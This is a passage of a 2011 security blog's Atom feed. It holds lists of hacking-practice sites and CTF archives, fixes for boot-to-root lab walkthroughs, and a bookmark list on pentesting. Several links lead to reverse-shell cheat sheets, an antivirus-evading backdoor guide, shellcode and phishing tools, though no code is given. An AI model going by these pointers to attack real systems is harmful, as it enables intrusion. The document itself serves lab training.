font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="http://www.hacmegame.org/hacmegame/main/welcome.html"&gt;hACME&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="http://pctechtips.org/hacker-challenge-pwn3d-the-login-form/"&gt;PCTechTips - pwn3d the login form.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="http://xssme.html5sec.org/"&gt;XSSMe&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="http://html5sec.org/xssme.php"&gt;XSS Me!&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="http://canyouxssthis.com/HTMLSanitizer/"&gt;Can You XSS This?&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="http://www.nottrusted.com/x5s/"&gt;Test x5s&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="http://xss.progphp.com/"&gt;XSS Progphp&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="http://xss-quiz.int21h.jp/"&gt;XSS Quiz&lt;/a&gt;&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt; &lt;b&gt;WarGames (Web Based)&lt;/b&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.hackthissite.org/"&gt;HackThisSite&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.enigmagroup.org/pages/basics/"&gt;EnigmaGroup&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.smashthestack.org/"&gt;Smash The Stack&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://www.wechall.net/"&gt;Wechall&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.vulnerabilityassessment.co.uk/"&gt;Vulnerability Assessment&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://net-force.nl/"&gt;Net-Force&lt;/a&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;a href="http://hackquest.com/"&gt;Hack Quest&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;b&gt;Forensic&lt;/b&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="http://www.securabit.com/"&gt;SecuraLabs Challenge&lt;/a&gt; (&lt;a href="http://www.securabit.com/2011/09/22/derbycon-ticket-challenge/"&gt;#1&lt;/a&gt;, &lt;a href="http://www.securabit.com/2011/11/05/securalabs-challenge-2/"&gt;#2&lt;/a&gt;)&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt; &lt;b&gt;Mobile Platforms&lt;/b&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;a href="http://labs.securitycompass.com/tools/new-mobile-security-course-and-exploitme-mobile/"&gt;ExploitMe&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt; &lt;b&gt;Capture The Flag Competitions&lt;/b&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://repo.shell-storm.org/CTF/CSAW-2011/"&gt;CSAW (Cyber Security Awareness Week) CTF 2011&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://repo.shell-storm.org/CTF/CodeGate-2011/"&gt;CodeGate 2011&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://repo.shell-storm.org/CTF/Defcon-19-quals/"&gt;Defcon 19 (Qualifications)&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://repo.shell-storm.org/CTF/Hacklu-2011/"&gt;Hacklu 2011&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://repo.shell-storm.org/CTF/ISEC-CTF-WarFare-2011/"&gt;ISEC CTF WarFare 2011&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://repo.shell-storm.org/CTF/PlaidCTF-2011/"&gt;Plaid CTF 2011&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://repo.shell-storm.org/CTF/RSSIL-2011/"&gt;RSSIL 2011&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://repo.shell-storm.org/CTF/insomnia%27hack-2K11/"&gt;insomnia'hack 2K11&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;span style="color: #b45f06; font-size: xx-small;"&gt;[Updated] &lt;/span&gt;&lt;b&gt;Other collections &amp;amp; lists&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;If you know of any more - please let me know!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-1452458874440457313?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/1452458874440457313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/11/site-news-vulnerable-by-design-part-3.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/1452458874440457313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/1452458874440457313'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/11/site-news-vulnerable-by-design-part-3.html' title='[Site News] Vulnerable by Design (Part 3)'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-8292187704984463741</id><published>2011-11-02T11:58:00.000Z</published><updated>2012-01-07T23:52:00.186Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='boot2root'/><title type='text'>Issues &amp; Updates with "Boots 2 Roots"</title><content type='html'>As I use &lt;a href="http://www.backtrack-linux.org/"&gt;backtrack-linux&lt;/a&gt; for my attacker's operating system, the OS has gone though some major updates &lt;i&gt;(new tools have been added, some removed and most of them been updated)&lt;/i&gt;!&lt;br /&gt;As a result there are a few minor issues with my guides for &lt;a href="http://g0tmi1k.blogspot.com/2011/03/vulnerable-by-design.html"&gt;boot 2 roots&lt;/a&gt;. The general process is the same, so I didn't see a "need" to re-do it all - &lt;i&gt;I hope this quick note sums it all up!&lt;/i&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Brute Forcing (Hydra)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;It has been reported that Hydra isn't 'playing nice' with backtrack 5 R1 (which at the time is the latest release of backtrack), but it's happy with backtrack 5. On some machines running certain programs (e.g. hydra) inside VMware, it gives out tons of '&lt;u&gt;Waiting for child process&lt;/u&gt;' error messages.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;a href="http://g0tmi1k.blogspot.com/2010/02/video-de-icenet-v20-1100-level-2-disk-1.html"&gt;&lt;b&gt;De-ICE.net v2.0 (2.100) {Level 2 - Disk 1} &lt;/b&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;'JBroFuzz' is no longer included in backtrack. I would recommend using '&lt;a href="https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project"&gt;DirBuster&lt;/a&gt;' instead.&lt;br /&gt;Eph demonstrates this in his &lt;a href="http://www.get-root.com/?p=167"&gt;video&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;a href="http://g0tmi1k.blogspot.com/2010/04/video-pwnos.html"&gt;&lt;b&gt;pWnOS&lt;/b&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;The local privilege escape DOES work - &lt;u&gt;don’t have it connected to the Internet&lt;/u&gt;. (Auto updates?)&lt;br /&gt;&lt;br /&gt;&lt;span class="post-author vcard"&gt;&lt;span class="fn"&gt;&lt;a href="http://fallensnow-jack.blogspot.com/2011/10/update-pwnos-v1.html%20"&gt;F4l13n5n0w&lt;/a&gt; has also found a few more vulnerability related &lt;/span&gt;&lt;/span&gt;this challenge.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;a href="http://g0tmi1k.blogspot.com/2011/02/video-kioptrix-level-2-injection.html"&gt;&lt;b&gt;Kioptrix - Level 2&lt;/b&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;Due to a coding bug (Line 16, missing a "&lt;span style="color: red;"&gt;'&lt;/span&gt;": &lt;i&gt;&amp;lt;td algin='center&lt;span style="color: red;"&gt;'&lt;/span&gt;&amp;gt;&lt;/i&gt;) &amp;amp; using a newer version of firefox, after logging in &lt;u&gt;the 'ping' page isn't displayed correctly&lt;/u&gt;. You can either:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Use the firefox addon '&lt;a href="https://getfirebug.com/"&gt;Firebug&lt;/a&gt;' to edit the page content fixing the issue. &lt;br /&gt;Seen in MagiaMystery's video: &lt;a href="https://www.youtube.com/watch?v=sDR7oryS48g"&gt;https://www.youtube.com/watch?v=sDR7oryS48g&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Use '&lt;a href="http://portswigger.net/burp/proxy.html"&gt;BurpProxy&lt;/a&gt;' and craft the post request manually. &lt;br /&gt;Seen in Lnxg33k's video: &lt;a href="https://lnxg33k.wordpress.com/2011/08/20/video-kioptrix-level2-war-game-solution/%20"&gt;https://lnxg33k.wordpress.com/2011/08/20/video-kioptrix-level2-war-game-solution/ &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&lt;a href="http://g0tmi1k.blogspot.com/2011/08/video-kioptrix-level-3.html"&gt;Kioptrix - Level 3&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="https://twitter.com/Swappage"&gt;Swappage&lt;/a&gt; has done another method to escape privates to gain root access. Instead of using 'ht' to write file(s) in which to gain access,&amp;nbsp; Swappage walks though the process of discovering and creating a exploit for the program instead!&lt;br /&gt;Video: &lt;a href="http://vimeo.com/28327470"&gt;http://vimeo.com/28327470&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&lt;a href="http://g0tmi1k.blogspot.com/2011/12/video-vulnimage-manual-method.html"&gt;VulnImage&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://ghostinthelab.wordpress.com/"&gt;_pr0n_&lt;/a&gt; has discovered &lt;a href="https://twitter.com/#%21/_pr0n_/status/150627688296624129"&gt;another&lt;/a&gt; way to gain shell into this box by using &lt;a href="http://www.exploit-db.com/exploits/15725/"&gt;Exim&lt;/a&gt; (&lt;a href="http://img543.imageshack.us/img543/480/p20o.png"&gt;Proof&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;General message regarding all "&lt;a href="http://g0tmi1k.blogspot.com/2011/03/vulnerable-by-design.html"&gt;boot 2 roots&lt;/a&gt;"&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Don’t use it on your main or production network as:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;You’re adding a vulnerable machine on your network - just making it weaker!&lt;/li&gt;&lt;li&gt;The machine could auto update - therefore breaking the challenge! &lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;The target's virtual machine isn't showing up! &lt;/span&gt;Its not working! I can't find it! &lt;/b&gt;&lt;b&gt;Help! &lt;/b&gt;&lt;br /&gt;If the challenge is a &lt;u&gt;ISO&lt;/u&gt; then &lt;a href="https://www.virtualbox.org/"&gt;VirtualBox&lt;/a&gt;, &lt;a href="http://www.vmware.com/"&gt;VMware&lt;/a&gt; and &lt;a href="http://www.parallels.com/"&gt;Parallels&lt;/a&gt; etc - should &lt;u&gt;all work&lt;/u&gt;.&lt;br /&gt;However if its a &lt;u&gt;Virtual Machine&lt;/u&gt;, check the format it in and use &lt;u&gt;that vendor&lt;/u&gt;.&lt;br /&gt;Most of them are in VMware as it has the market share.&lt;br /&gt;You can try and use another vendor, however don't expect it to work, due to each product using different drivers for interfaces - therefore there might not be any network activity.&lt;br /&gt;&lt;br /&gt;When using &lt;u&gt;VMware images&lt;/u&gt;, always select '&lt;u&gt;moved it&lt;/u&gt;'.&lt;br /&gt;When you select 'copied it', it creates another interface, therefore it the automated, backend scripts are not configured to use the new interface.&lt;br /&gt;The only issue with selecting 'move it', is if you have have another copy/version of that VM.&lt;br /&gt;As you haven't got the another copy of it, it hasn't got anything to clash with.&lt;br /&gt;&lt;br /&gt;Not every &lt;u&gt;challenge is setup to use DHCP&lt;/u&gt;!&lt;br /&gt;Some have &lt;u&gt;static IP addresses&lt;/u&gt; (this is because the scripts &amp;amp; settings used have that IP assigned to it when it was created).&lt;br /&gt;Read the 'readme' file and/or the homepage as it &lt;i&gt;could&lt;/i&gt; mention the IP address/range which is used. Else I recommend using &lt;a href="http://www.nixgeneration.com/%7Ejaime/netdiscover/"&gt;netdiscover&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Not every device respones to&amp;nbsp;&lt;u&gt;ping (ICMP) requests&lt;/u&gt; and these VM's are no exception. You might have to look into other methods of detecting machines on a network.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Links&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.digininja.org/blog/untrusted_vms.php"&gt;Blindly Installing VMs and Using Live CDs&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.metasploit.com/learn-more/how-do-i-use-it/test-lab.jsp"&gt;How to set up a penetration testing lab&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-8292187704984463741?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/8292187704984463741/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/11/issues-updates-with-boots-2-roots.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/8292187704984463741'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/8292187704984463741'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/11/issues-updates-with-boots-2-roots.html' title='Issues &amp; Updates with &quot;Boots 2 Roots&quot;'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-5993813463636030420</id><published>2011-11-01T20:17:00.000Z</published><updated>2012-01-25T10:24:31.987Z</updated><title type='text'>Blogs, Feeds, Guides &amp; Links</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;u&gt;&lt;span style="font-size: x-large;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;*This wasn't meant to be live just yet!*&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;I scheduled all draft posts. I became ill and wasn't available to stop it from posting.&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;I was cleaning out my bookmarks, de-cluttering twitter favourites and closing a few tabs. Re-saw a few 'hidden gems' as well as repeating finding links for people, so I thought I would try and 'dump' them all in one place.&lt;br /&gt;These are roughly sorted, if you're wanting something better - I highly recommend having a look at the &lt;a href="https://code.google.com/p/pentest-bookmarks/downloads/list"&gt;pentest-bookmarks&lt;/a&gt;.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;This list will be updated from time to time!&lt;/i&gt;&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;span style="color: red; font-size: large;"&gt;Programming &amp;amp; Coding&lt;/span&gt;&lt;br /&gt;[Bash] Advanced Bash-Scripting Guide - &lt;a href="http://tldp.org/LDP/abs/html/"&gt;http://tldp.org/LDP/abs/html/&lt;/a&gt;&lt;br /&gt;[Bash] Bash shell scripting tutorial - &lt;a href="http://steve-parker.org/sh/sh.shtml"&gt;http://steve-parker.org/sh/sh.shtml&lt;/a&gt;&lt;br /&gt;[Bash] Bourne Shell Reference - &lt;a href="http://linuxreviews.org/beginner/bash_GNU_Bourne-Again_SHell_Reference/"&gt;http://linuxreviews.org/beginner/bash_GNU_Bourne-Again_SHell_Reference/&lt;/a&gt;&lt;br /&gt;[CheatSheet] Scripting Languages: PHP, Perl, Python, Ruby - &lt;a href="http://hyperpolyglot.org/scripting"&gt;http://hyperpolyglot.org/scripting&lt;/a&gt;&lt;br /&gt;[Tip] Forcing Scripts to Run as root - &lt;a href="http://bashshell.net/shell-scripts/forcing-scripts-to-run-as-root/"&gt;http://bashshell.net/shell-scripts/forcing-scripts-to-run-as-root/&lt;/a&gt;&lt;br /&gt;[Tip] HTML5 Security Cheat Sheet - &lt;a href="https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet"&gt;https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;/a&gt;&lt;br /&gt;[Regex] Learn Regex The Hard Way (ALPHA) - &lt;a href="http://regex.learncodethehardway.org/"&gt;http://regex.learncodethehardway.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Programs &amp;amp; Scripts&lt;/span&gt;&lt;br /&gt;[Program] HTML5 (plugin-free) web-based terminal emulator and SSH client -      &lt;a href="https://github.com/liftoff/GateOne"&gt;https://github.com/liftoff/GateOne&lt;/a&gt;&lt;br /&gt;[Tips] Exploiting Powershell's Features (Not Flaws) - &lt;a href="http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html"&gt;http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html&lt;/a&gt;&lt;br /&gt;[Tip] Shellcode in Powershell - &lt;a href="http://pastebin.com/3mJ0jLRZ"&gt;http://pastebin.com/3mJ0jLRZ&lt;/a&gt;&lt;br /&gt;[Program] easy-creds - &lt;a href="http://sourceforge.net/projects/easy-creds/files/"&gt;http://sourceforge.net/projects/easy-creds/files/&lt;/a&gt;&lt;br /&gt;[Program]&amp;nbsp;ghost-phisher -&amp;nbsp;&lt;a href="http://code.google.com/p/ghost-phisher/"&gt;http://code.google.com/p/ghost-phisher/&lt;/a&gt;&lt;br /&gt;[Book]&amp;nbsp;Network Security Tools -&amp;nbsp;&lt;a href="http://commons.oreilly.com/wiki/index.php/Network_Security_Tools"&gt;http://commons.oreilly.com/wiki/index.php/Network_Security_Tools&lt;/a&gt;&lt;br /&gt;[Program]&amp;nbsp;Password Security Scanner -&amp;nbsp;&lt;a href="http://www.nirsoft.net/utils/password_security_scanner.html"&gt;http://www.nirsoft.net/utils/password_security_scanner.html&lt;/a&gt;&lt;br /&gt;[Collection] Security Tools -&amp;nbsp;&lt;a href="http://securityxploded.com/tools.php"&gt;http://securityxploded.com/tools.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Tunnelling &amp;amp; Pivoting&lt;/span&gt;&lt;br /&gt;[Linux] SSH gymnastics with proxychains - &lt;a href="http://pauldotcom.com/2010/03/ssh-gymnastics-with-proxychain.html"&gt;http://pauldotcom.com/2010/03/ssh-gymnastics-with-proxychain.html&lt;/a&gt;&lt;br /&gt;[Windows] Nessus Through SOCKS Through Meterpreter - &lt;a href="http://www.digininja.org/blog/nessus_over_sock4a_over_msf.php"&gt;http://www.digininja.org/blog/nessus_over_sock4a_over_msf.php&lt;/a&gt;&lt;br /&gt;[Shell] Reverse Shell Techniques for Linux - &lt;a href="http://www.coresec.org/2011/05/28/reverse-shell-techniques-for-linux/"&gt;http://www.coresec.org/2011/05/28/reverse-shell-techniques-for-linux/&lt;/a&gt;&lt;br /&gt;[Shell] Python One Line Shellcode - &lt;a href="http://pauldotcom.com/2011/10/python-one-line-shell-code.html"&gt;http://pauldotcom.com/2011/10/python-one-line-shell-code.html&lt;/a&gt;&lt;br /&gt;[Shell] Reverse Shell with Bash - &lt;a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/"&gt;http://www.gnucitizen.org/blog/reverse-shell-with-bash/&lt;/a&gt;&lt;br /&gt;[Shell] Reverse shells one-liners - &lt;a href="http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html"&gt;http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html&lt;/a&gt;&lt;br /&gt;[Shell] Creating a 13 line backdoor worry free of A/V - &lt;a href="http://www.secmaniac.com/blog/2011/06/20/creating-a-13-line-backdoor-worry-free-of-av/"&gt;http://www.secmaniac.com/blog/2011/06/20/creating-a-13-line-backdoor-worry-free-of-av/&lt;/a&gt;&lt;br /&gt;[Meteterpreter] Get a meterpreter reverse shell through SSH tunnel - &lt;a href="https://hdesser.wordpress.com/2011/12/03/quick-notes-get-a-meterpreter-reverse-shell-through-ssh-tunnel/"&gt;https://hdesser.wordpress.com/2011/12/03/quick-notes-get-a-meterpreter-reverse-shell-through-ssh-tunnel/&lt;/a&gt; &lt;br /&gt;[Shell]&amp;nbsp;Reverse Shell Cheat Sheet -&amp;nbsp;&lt;a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet"&gt;http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;Cheat-Sheets&lt;/span&gt;&lt;br /&gt;[OS] A Sysadmin's Unixersal Translator - &lt;a href="http://bhami.com/rosetta.html"&gt;http://bhami.com/rosetta.html&lt;/a&gt;&lt;br /&gt;[WiFi] WirelessDefence.org's Wireless Penetration Testing Framework - &lt;a href="http://www.wirelessdefence.org/Contents/Wireless%20Pen%20Test%20Framework.html"&gt;http://www.wirelessdefence.org/Contents/Wireless%20Pen%20Test%20Framework.html&lt;/a&gt;&lt;br /&gt;[Programming] The Ultimate Anti-Debugging Reference -&amp;nbsp;&lt;a href="http://tuts4you.com/download.php?view.3260"&gt;http://tuts4you.com/download.php?view.3260&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: red; font-size: large;"&gt;File Include (Local &amp;amp; Remote)&lt;/span&gt;&lt;br /&gt;[LFI] When All You Can Do Is Read - &lt;a href="http://www.digininja.org/blog/when_all_you_can_do_is_read.php"&gt;http://www.digininja.org/blog/when_all_you_can_do_is_read.php&lt;/a&gt;&lt;br /&gt;[LFI] Local File Inclusion – Tricks of the Trade - &lt;a href="http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/"&gt;http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/&lt;/a&gt;&lt;br /&gt;[LFI]&amp;nbsp;LFI with phpinfo Assistance-&amp;nbsp;&lt;a href="http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf"&gt;http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf&lt;/a&gt;&lt;br /&gt;[LFI] Exploiting PHP File Inclusion Overview - &lt;a href="https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/"&gt;https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;WarGames / CTF / Challenges&lt;/span&gt;&lt;br /&gt;[Challenges] The Ksplice Pointer Challenge - &lt;a href="http://blogs.oracle.com/ksplice/"&gt;http://blogs.oracle.com/ksplice/&lt;/a&gt;&lt;br /&gt;[Forensics] iAWACS 2011 Forensics challenge - &lt;a href="http://cvo-lab.blogspot.com/2011/05/iawacs-2011-forensics-challenge.html"&gt;http://cvo-lab.blogspot.com/2011/05/iawacs-2011-forensics-challenge.html&lt;/a&gt;&lt;br /&gt;[CTF] Index Of / - &lt;a href="http://ftp.hackerdom.ru/ctf-images/"&gt;http://ftp.hackerdom.ru/ctf-images/&lt;/a&gt;&lt;br /&gt;[Forensics] Test Images and Forensic Challenges - &lt;a href="http://www.forensicfocus.com/images-and-challenges"&gt;http://www.forensicfocus.com/images-and-challenges&lt;/a&gt;&lt;br /&gt;[WarGames] Pentest lab vulnerable servers-applications list - &lt;a href="http://r00tsec.blogspot.com/2011/02/pentest-lab-vulnerable-servers.html"&gt;http://r00tsec.blogspot.com/2011/02/pentest-lab-vulnerable-servers.html&lt;/a&gt;&lt;br /&gt;[WarGames] Practices for a Hacker (WarGames) - &lt;a href="http://jhyx4life.blogspot.com/2007/02/practicas-para-un-hacker-wargames.html"&gt;http://jhyx4life.blogspot.com/2007/02/practicas-para-un-hacker-wargames.html&lt;/a&gt; (&lt;a href="http://translate.google.com/translate?sl=auto&amp;amp;tl=en&amp;amp;js=n&amp;amp;prev=_t&amp;amp;hl=en&amp;amp;ie=UTF-8&amp;amp;layout=2&amp;amp;eotf=1&amp;amp;u=http%3A%2F%2Fjhyx4life.blogspot.com%2F2007%2F02%2Fpracticas-para-un-hacker-wargames.html"&gt;English&lt;/a&gt;) &lt;br /&gt;[Challenges] OWASP iGoat Project - &lt;a href="https://www.owasp.org/index.php/OWASP_iGoat_Project"&gt;https://www.owasp.org/index.php/OWASP_iGoat_Project&lt;/a&gt;&lt;br /&gt;[Challenges] Can you crack it? - &lt;a href="http://canyoucrackit.co.uk/"&gt;http://canyoucrackit.co.uk&lt;/a&gt;&lt;br /&gt;[WarGames] Vanilla Dome Wargame - &lt;a href="https://sm0k.org/dojo/vanilla.php"&gt;https://sm0k.org/dojo/vanilla.php&lt;/a&gt;&lt;br /&gt;[CTF] Index Of / -&amp;nbsp;&lt;a href="http://repo.shell-storm.org/CTF/"&gt;http://repo.shell-storm.org/CTF/&lt;/a&gt;&lt;br /&gt;[Boot2Root] Exploit-Exercises - &lt;a href="http://exploit-exercises.com/"&gt;http://exploit-exercises.com&lt;/a&gt;&lt;br /&gt;[WarGames] try2hack - &lt;a href="http://try2hack.nl/"&gt;http://try2hack.nl&lt;/a&gt;&lt;br /&gt;[Fuzzing] Resources - &lt;a href="http://www.vdalabs.com/tools/efs_gpf.html"&gt;http://www.vdalabs.com/tools/efs_gpf.html&lt;/a&gt;&lt;br /&gt;[Web] Web Application Vulnerability Scanner Evaluation Project - &lt;a href="https://code.google.com/p/wavsep/"&gt;https://code.google.com/p/wavsep/&lt;/a&gt;&lt;br /&gt;[Web]&amp;nbsp;SQL Injection and Filter Evasion Challenge -&amp;nbsp;&lt;a href="http://www.modsecurity.org/demo/"&gt;http://www.modsecurity.org/demo/&lt;/a&gt;&lt;br /&gt;[Walkthrough] preCON CTF Walkthrough -&amp;nbsp;&lt;a href="http://amolnaik4.blogspot.com/2011/12/clubhack-precon-ctf-walkthrough.html"&gt;http://amolnaik4.blogspot.com/2011/12/clubhack-precon-ctf-walkthrough.html&lt;/a&gt;&lt;br /&gt;[Walkthough]&amp;nbsp;Rooting Kioptrix Level 1 in an Organized Fashion -&amp;nbsp;&lt;a href="http://securityjuggernaut.blogspot.com/2011/10/rooting-kioptrix-level-1-in-organized.html?spref=tw"&gt;http://securityjuggernaut.blogspot.com/2011/10/rooting-kioptrix-level-1-in-organized.html?spref=tw&lt;/a&gt;&lt;br /&gt;&lt;a 